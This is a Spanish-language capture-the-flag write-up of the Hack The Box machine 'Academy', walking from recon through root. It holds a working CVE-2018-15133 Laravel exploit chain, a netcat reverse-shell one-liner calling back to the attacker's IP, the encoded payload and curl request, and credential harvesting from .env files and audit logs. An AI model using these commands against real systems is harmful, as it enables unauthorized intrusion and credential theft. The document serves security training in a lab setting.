RECONOCIMIENTO

En el inicio de la fase de reconocimiento, lo primero que vamos a realizar es mandar un ping a la máquina para ver que tenemos conectividad con ella:

ping -c 1 10.10.10.215

Si nos fijamos en el TTL (Time To Live) que nos devuelve el comando, al ser 63 sabemos que se trata de una máquina Linux (suelen devolver 64 pero si trazamos la ruta que sigue el paquete vemos que pasamos por un nodo intermediario antes de llegar a la máquina).

Sabiendo esto vamos a comenzar la fase activa del reconocimiento mediante el uso de la herramienta nmap.

Procederemos a escanear todo el rango de puertos de la máquina Academy por el protocolo TCP filtrando por aquellos que estén abiertos, aplicando una plantilla de temporizado y rendimiento agresiva e indicando que no necesitamos que se nos aplique resolución DNS para evitar demoras a la hora de nuestro escaneo. Vamos a guardar el archivo con el nombre de scan.

nmap -p- --open -T5 -v -n 10.10.10.215 -oG scan

A continuación, vamos a lanzar una serie de scripts básicos de enumeración propios de la herramienta y vamos a tratar de detectar las versiones y los servicios de los puertos que nos ha detectado como abiertos. Guardaremos el output en un fichero con el nombre de services para poder volver a consultarlo durante el resto de fases de la intrusión.

nmap -sCV -p22,80,33060 10.10.10.215 -oN services

Viendo que está el puerto 80 abierto, vamos a utilizar la herramienta whatweb para ver la información que nos devuelve de las cabeceras:

Vemos que nos devuelve un 302 Found y que nos redirige a un dominio que no podemos resolver. Por ello vamos a añadir ese dominio a nuestro archivo /etc/hosts.

echo "10.10.10.215 academy.htb" >> /etc/hosts

Si ahora volvemos a usar la herramienta whatweb, vemos que nos redirige existosamente y que tenemos un codigo 200 OK y acceso al dominio.

Si en el navegador visitamos el servidor web, tenemos acceso a un panel de Login y otro de Register. Vamos a registrarnos con un usuario y una contraseña y vamos a acceder a la web.

Tenemos acceso a una web que se asemeja a la Academia de HTB, pero con 0 funcionalidad. No tenemos mucho por donde tirar aquí, así que vamos a intentar hacer fuzzing de posibles directorios de la web para ver si descubrimos algun endpoint que resulte interesante.

Para ello en esta ocasión usamos la herramienta GoBuster, que es moderadamente rápida a la hora de las peticiones y además nos deja jugar con extensiones de archivo a su vez. Viendo que tanto el Register, como la Home y el Login tienen extensión php, vamos a pensar que PHP está por detras y vamos a añadir esta extensión a la búsqueda. Como diccionario, vamos a usar uno de SecLists (en caso de no tener SecLists instalado, es tan sencillo como apt install -y seclists).

gobuster dir -u http://academy.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php -o ../content/fuzzingweb

Hay un archivo admin.php que nos debe llamar la atentición. Visualizándolo en el navegador, vemos que se trata de una especie de panel de inicio de sesión para administradores, pero probando con nuestro usuario anteriormente creado no tenemos exito.

EXPLOTACIÓN

Puerto 80 HTTP

Vamos a tratar de interceptar mediante la herramienta BurpSuite la petición de registro de un usuario de prueba, para ver como se envía la petición, que datos se envian y si hay algo anómalo o de interés en ella. Para ello vamos a activar el Proxy de FoxyProxy previamente configurado en el navegador y nos abrimos la herramienta:

Nos vamos a la página de Registro, introducimos unas credenciales por defecto (srmeirins123:srmeirins123) y vamos a BurpSuite.

Si nos fijamos en el Data que se está enviando por POST, vemos que se envía nuestro usuario, la contraseña y al final hay un valor llamado roleid que es igual a 0. Sabiendo que con la creación de un usuario con este valor de roleid, no tenemos acceso al panel de administración, podríamos pensar que el usuario Administrador tiene un roleid diferente que es lo que hace que la autenticación sea exitosa. Vamos a volver a crearnos otro usuario, interceptar la petición de nuevo pero esta vez vamos a cambiar el roleid a 1.

Hacemos Forward de las peticiones y vemos que el registro parece exitoso. Probemos a volver al panel de autenticación en la ruta admin.php y probar con el usuario nuevo que acabamos de registrar.

Estamos dentro. Vemos una tabla con Items y su correspondiente Status. Parece una lista de tareas de Administración de la web del servidor. Si nos fijamos en la última, pone «Arreglar problema con dev-staging-01.academy.htb«. Tenemos un nuevo posible subdominio que meteremos en el archivo /etc/hosts de nuevo. He probado a descubrir este subdominio por fuerza bruta con diferentes diccionarios de subdominios, pero no ha habido éxito.

Si usamos la herramienta WhatWeb con el nuevo subdominio, nos devuelve un código de estado 500 Internal Server Error.

Si abrimos la web en el navegador, vemos una página con una gran cantidad de Debugging, Errores y Datos.

Vemos el siguiente error: «The stream or file "/var/www/html/htb-academy-dev-01/storage/logs/laravel.log" could not be opened in append mode: failed to open stream: Permission denied«. Aquí lo primero que debemos preguntarnos es ¿Qué es Laravel?, que archivo es ese para el que recibimos el error de permisos y ver que información tenemos en la web que nos pueda ser útil.

En la página hay una parte de variables de entorno donde podemos ver númerosa información. Hay una variable llamada APP_KEY que tiene un valor asociado codificado en Base64:

En Informática, normalmente una Key suele ser algo que se utiliza con el fin de cifrar algo. En caso de Laravel la APPLICATION KEY se utiliza para cifrar datos sensibles, como las cookies de sesión y las contraseñas de los usuarios. Esta clave se almacena en el archivo .env de Laravel y se utiliza para cifrar y descifrar los datos sensibles que se transmiten entre la aplicación y el servidor.

Si buscamos en Internet algo semejante a «APP KEY Laravel Leaked«, vemos que no es común que un tercero tenga acceso a esta clave y se nos listan hasta entradas donde nombran RCE (Remote Code Execution).

Si buscamos algo más por Internet, descubrimos que hay una vulnerabilidad (CVE-2018-15133) mediante la cual podemos obtener ejecucción remota de comandos gracias a la creación personalizada de un token XSRF malicioso. Para ello es necesario conocer la APP_KEY de la aplicación, así que estamos de suerte.

En este Post viene está bastante bien explicado: Exploiting Laravel with leaked APP_KEYS

Buscando por GitHub, hay una PoC bastante bien explicada y funcional que será la que utilicemos para explotar el servidor web: Link

Vamos a clonarnos el repositorio, y explicaremos paso por paso como es el mecanismo de ataque.

1. Obtener la APP_KEY de la aplicación de Laravel (Obtenida)
2. Crear un Unserialize Payload con el comando que ejecutar por el servidor. En este caso será una Reverse Shell que se entable una conexión con nuestro equipo local.
3. Cifraremos el Payload con la APP_KEY
4. Mandamos el Payload Cifrado mediante una cabecera de una petición HTTP POST.

Como el paso 1 ya está realizado, vamos a crear un Payload con la ReverShell. Para ello, es necesario otra herramienta que nos debemos clonar llamada phpgcc.

./phpggc Laravel/RCE1 system 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 443 >/tmp/f' -b

Esta ReverseShell la he sacado de aquí.

El output se tratará de una cadena en Base64 que usaremos como el segundo argumento del exploit PoC clonado anteriormente. El primer argumento será la APP_KEY en base64. Si ejecutamos el exploit, nos va a devolver un token cifrado.

./cve-2018-15133.php dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjc3OiJybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC4xNCA0NDMgPi90bXAvZiI7fQ==

Vamos a ponernos a la escucha por el puerto indicado en el ReverseShell y vamos a mandar un petición mediante la herramienta curl al subdominio donde está la aplicación de Laravel y vamos a meter la cabecera que nos ha devuelto el exploit.

nc -lvnp 443
curl -s -X POST -H "X-XSRF-TOKEN: eyJpdiI6InhiQVRxbHJKdG9oOVlJRW9VQXMrSFE9PSIsInZhbHVlIjoiTTgrdTlsMFcrVUNxeGlrRkFQajgzN3NSQkN2NUVyWU83dFZKTmpzVGFyTUZHcHdyVkpkb05ZU1ZjWVJKTTVsVlFDWkREN1FQRjErVjVZYWxBZHdWQ2MweU0rdU1hTGs5aGhyTGN0MERaRXhTaDVOeWZcL3NHajJjUnR1UmFLSzE1QzF2YVFzUDVJaTA0bUMwRW81NTE1cWFtYjNOWHBcLzdNOHZnWEl3XC9BVzN6aFIyd3VjUGdQXC9DNkRqMFl3WkduZ0hUemx5eHlRTnNQd2llZ1kyWm9jVE1rY2NCTmVKcENJQTVndTY4aWRUUjlHM2xWTVwvSW1kZlJudUpzbkQxS0NtVEk1QlFtUjZaVGdEbkNUdzFhSHR2VkQyMExIWVNQYUtFMTMwYTFyWUcrQ0xsSmxcL3JiVzR0NkpWOUJ0V0MwNENDNG45RW5rYmNSYjVXaG03OW1pN3VnPT0iLCJtYWMiOiI4MmYwYmRmMGZmMWFkMjZlYzBkODNlY2U0NGNhNzA4NTk2NzAzNmEyZTc4OWZjYTQ3ZTgwNmQ1OGNkYmE3YTNmIn0=" http://dev-staging-01.academy.htb

Nos llega exitosamente una conexión, y ya tenemos un shell como el usuario www-data.

ESCALADA DE PRIVILEGIOS

Tenemos una SHELL como el usuario www-data pero vamos a modificarla para que sea una TTY totalmente funcional:

script /dev/null -c bash
^Z #Control + Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=bash

En el link del artículo mencionado anteriormente, vemos que la APP_KEY se encuentra alojada en el directorio del servidor web en un archivo llamado .env. Si lo verificamos, vemos que ahí tenemos la clave así como otros datos de Bases de Datos y gran cantidad de valores de configuración. No vemos nada interesante en el archivo /var/www/html/htb-academy-dev-01/.env pero recordemos que había otro servidor web expuesto (el primero al que accedimos) por lo que vamos a visitar su directorio donde encontraremos otro archivo .env –> /var/www/html/academy.

Si nos fijamos, tenemos una DB_PASSWORD en texto claro. Nos la copiamos y nos la guardamos para ver si es válida con algún usuario del sistema.

Si filtramos por todos los usuarios del sistema, vemos que hay bastantes así que vamos a buscar donde está la flag de HTB para ver si podemos acceder con la contraseña que hemos recopilado al usuario que almacena la flag.

Vemos que el usuario cry0l1t3 es el que aloja la flag, y si iniciamos sesión como ese usuario vemos que es posible con la contraseña que hemos obtenido anteriormente.

Una vez loggeados como el usuario Cry0l1t3, vemos que está en el grupo adm.

Echando un ojo a la Biblia de HackTricks, vemos que acerca de este grupo pone lo siguiente:

Buscando en foros, he encontrado la herramienta aureport que sirve para imprimir resumenes de los registros del sistema. En ocasiones puede ser que si lo usamos con la opción --tty pueda aparecernos algun usuario y contraseña, hecho que se cumple si lanzamos la herramienta:

Vemos lo que parece un inicio de sesión del usuario mrb3n, así que como estaba el puerto SSH abierto vamos a guardarnos las credenciales y probar conectarnos por el puerto 22.

ssh mrb3n@10.10.10.215

De forma exitosa, tenemos control del usuario mrb3n, así que vamos a recopilar algo de información del usuario, sus permisos, grupos a los que pertenece, archivos de su directorio home, permisos de sudo…

Chequeando los comandos que el usuario puede correr, vemos que puede correr como cualquier usuario el comando Composer. A partir de aquí ya es muy sencillo. Si nos vamos a la otra biblia, gtfobins, vemos que podemos hacernos ROOT aprovechandonos de este privilegio.

Copiamos esas lineas y las pegamos en la terminal que tenemos. Ya tenemos acceso como el usuario ROOT y podemos ver ambas flags de HTB para poder reportarlas y verificar que tenemos el control total sobre la maquina.